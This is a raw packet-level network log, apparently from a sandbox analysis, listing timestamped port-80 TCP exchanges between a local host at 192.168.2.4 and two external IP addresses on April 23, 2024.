Apr 23, 2024 09:38:12.036987066 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.036999941 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.037002087 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.037019014 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.037030935 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.037034035 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.037050009 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.037065983 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.037065983 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.037081003 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.037095070 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.037097931 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.037118912 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.037131071 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.037134886 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.037152052 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.037168980 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.037168980 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.037185907 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.037198067 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.037201881 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.037216902 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.037231922 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.037234068 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.037271023 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.037286043 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.037286043 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.037302971 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.037317991 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.037322044 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.037338018 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.037352085 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.037353992 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.037369013 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.037383080 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.037384987 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.037401915 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.037415028 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.037416935 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.037432909 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.037446976 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.037448883 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.037466049 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.037482023 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.037482977 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.037497044 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.037513018 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.037513018 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.037529945 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.037544966 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.037544966 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.037560940 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.037574053 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.037575960 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.037592888 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.037606001 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.037609100 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.037625074 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.037636995 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.037640095 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.037656069 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.037672043 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.037672997 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.037688017 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.037702084 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.037703991 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.037719965 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.037734032 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.037736893 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.037753105 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.037765026 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.037769079 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.037785053 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.037798882 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.037800074 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.037816048 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.037827969 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.037832975 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.037847996 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.037863970 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.037879944 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.037880898 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.037897110 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.037909985 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.037911892 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.037928104 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.037939072 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.037947893 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.037962914 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.037970066 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.037978888 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.037982941 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.037996054 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.038011074 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.038018942 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.038028002 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.038043976 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.038045883 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.038059950 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.038075924 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.038088083 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.038091898 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.038106918 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.038110018 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.038122892 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.038139105 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.038141012 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.038155079 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.038170099 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.038171053 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.038187981 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.038202047 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.038203001 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.038218021 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.038233042 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.038233995 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.038249969 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.038264990 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.038268089 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.038280964 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.038295031 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.038295031 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.038310051 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.038326025 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.038326979 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.038341045 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.038356066 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.038357019 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.038372993 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.038388014 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.038388968 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.038403988 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.038419008 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.038419008 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.038434982 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.038450956 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.038470984 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.038486004 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.038500071 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.038501978 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.038517952 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.038532019 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.038533926 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.038549900 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.038566113 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.038569927 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.038569927 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.038582087 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.038597107 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.038598061 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.038619995 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.038633108 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.038635969 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:12.038651943 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.038667917 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.038682938 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.038698912 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.038713932 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.038718939 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:12.038723946 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.038731098 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.038747072 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.038750887 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.038750887 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.038750887 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.038750887 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.038764000 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.038767099 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.038780928 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.038794041 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.038798094 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.038815975 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.038821936 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.038821936 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.038832903 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.038835049 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.038849115 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.038853884 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.038866043 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.038875103 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.038883924 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.038894892 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.038901091 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.038912058 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.038912058 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.038917065 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.038933039 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.038949013 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.038949966 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.038964987 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.038975954 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.038981915 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.038996935 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.039005041 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.039015055 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.039021969 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.039031982 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.039043903 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.039047956 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.039055109 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.039064884 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.039078951 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.039082050 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.039088011 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.039098978 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.039109945 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.039114952 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.039119005 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.039132118 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.039134026 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.039149046 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.039151907 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.039164066 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.039166927 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.039176941 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.039191961 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.039201021 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.039211035 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.039218903 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.039228916 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.039242029 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.039243937 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.039253950 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.039263964 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.039278984 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.039282084 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.039297104 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.039302111 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.039315939 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.039319038 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.039333105 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.039340973 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.039350986 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.039361954 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.039366961 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.039381027 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.039385080 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.039391041 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.039402962 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.039407015 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.039421082 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.039427042 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.039438009 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.039455891 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.039457083 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.039457083 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.039473057 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.039478064 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.039500952 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.039510012 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.141850948 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.141890049 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.141910076 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.141927004 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.141944885 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.141963005 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.141983986 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.142061949 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.142061949 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.142061949 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.142591953 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.142617941 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.142635107 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.142652988 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.142769098 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.142769098 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.142769098 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.143171072 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.143328905 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.143340111 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.143347025 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.143376112 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.143400908 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.143465042 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.143484116 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.143501043 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.143511057 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.143522024 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.143527985 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.143546104 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.143556118 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.143573046 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.143599987 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.143604994 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.143623114 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.143645048 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.143656969 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.143663883 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.143675089 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.143697977 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.143722057 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.185950994 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.185993910 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.186044931 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.186044931 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.186357975 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.186395884 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.186433077 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.186470032 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.186506987 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.186547041 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.186578035 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.186578035 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.186578035 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.186578035 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.186578035 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.186628103 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.187171936 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.187208891 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.187236071 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.187246084 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.187267065 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.187284946 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.187289953 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.187335014 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.187604904 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.187644005 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.187652111 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.187688112 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.187715054 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.187752008 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.187763929 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.187792063 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.187793970 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.187830925 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.187839031 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.187868118 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.187879086 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.187905073 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.187915087 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.187943935 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:12.187953949 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:12.187982082 CEST	80	49733	185.172.128.76	192.168.2.4
